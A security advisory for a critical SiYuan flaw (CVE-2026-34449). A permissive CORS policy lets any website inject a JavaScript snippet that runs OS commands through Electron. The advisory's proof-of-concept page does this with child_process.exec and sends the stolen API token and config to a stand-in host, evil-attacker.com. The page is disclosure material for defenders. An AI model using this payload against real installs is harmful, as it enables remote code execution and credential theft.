Skip to content

GHSA-68p4-j234-43mv CVE-2026-34449 GO-2026-5171

SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection

Critical Go
Severity
9.6 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.51%
Chance of exploitation in the next 30 days. Higher than 43.42% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-942 Permissive Cross-domain Security Policy with Untrusted Domains
Fix
3.6.2
Upgrade github.com/siyuan-note/siyuan/kernel to this version or later

Description

Summary

A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.

Details

Vulnerable files:

  • kernel/server/serve.go, lines 960-963 — CORS middleware
  • kernel/api/snippet.go, lines 93-128 — snippet injection endpoint

Root cause: The CORS middleware unconditionally sets:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true

The Access-Control-Allow-Private-Network: true header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with Access-Control-Allow-Origin: *, any website on the internet can make authenticated cross-origin requests to the SiYuan API at 127.0.0.1:6806.

The auth middleware at kernel/model/session.go:251-280 checks the Origin header, but this check is bypassed because the browser sends the session cookie (set on 127.0.0.1) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.

Attack chain:

  1. User visits https://evil-attacker.com while SiYuan desktop is running
  2. Malicious JS sends CORS preflight to http://127.0.0.1:6806 — SiYuan responds with permissive CORS headers
  3. Browser sends actual POST to /api/snippet/setSnippet with the user's session cookie
  4. SiYuan accepts the request and saves a malicious JS snippet
  5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution

PoC

Malicious webpage (hosted on any domain):

<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    snippets: [{
      id: 'exploit-' + Date.now(),
      name: 'system-update',
      type: 'js',
      content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
      enabled: true
    }]
  })
}).then(r => r.json()).then(d => {
  console.log('Snippet injected:', d);
});

// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
  // Send API token and config to attacker server
  fetch('https://evil-attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(d.data)
  });
});
</script>
</body>
</html>

Verification steps:

  1. Start SiYuan desktop (or Docker with SIYUAN_ACCESS_AUTH_CODE set)
  2. Login to SiYuan in a browser to establish a session cookie
  3. In the same browser, navigate to the malicious page
  4. Verify snippet was injected:
curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \
  -H "Content-Type: application/json" \
  -b <session-cookie> \
  -d '{"type":"all","enabled":2}'

Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from Origin: https://evil-attacker.com, and the API token is exfiltrated — all in a single page load.

Impact

  • Remote Code Execution: Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.
  • Data exfiltration: The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.
  • No user interaction beyond browsing: The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.
  • Affects all desktop users: SiYuan desktop runs on 127.0.0.1:6806 by default. The Access-Control-Allow-Private-Network: true header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack.
  • Persistence: The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.

Affected versions

Go

PackageVulnerableFixed in
github.com/siyuan-note/siyuan/kernel
< 3.6.2
3.6.2
github.com/siyuan-note/siyuan/kernel
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/siyuan-note/siyuan/kernel Go → 3.6.2

go
go get github.com/siyuan-note/siyuan/kernel@v3.6.2 && go mod tidy

Severity breakdown

CVSS 3.1 9.6

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains

The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.

How to prevent it
  • Architecture and Design, Operation: Define a restrictive Content Security Policy [REF-1486] or cross-domain policy file.
  • Architecture and Design, Operation: Avoid using wildcards in the CSP / cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.
  • Architecture and Design, Operation: For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-9cqf-hhrq-7v45
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-57v5-wqx3-cgj4
SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-4wwp-f6gw-6qm5
SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-3cm4-ccvw-6xr6
SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/*
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-rpx2-p6hp-x5gj
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
Medium Also affects github.com/siyuan-note/siyuan/kernel
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor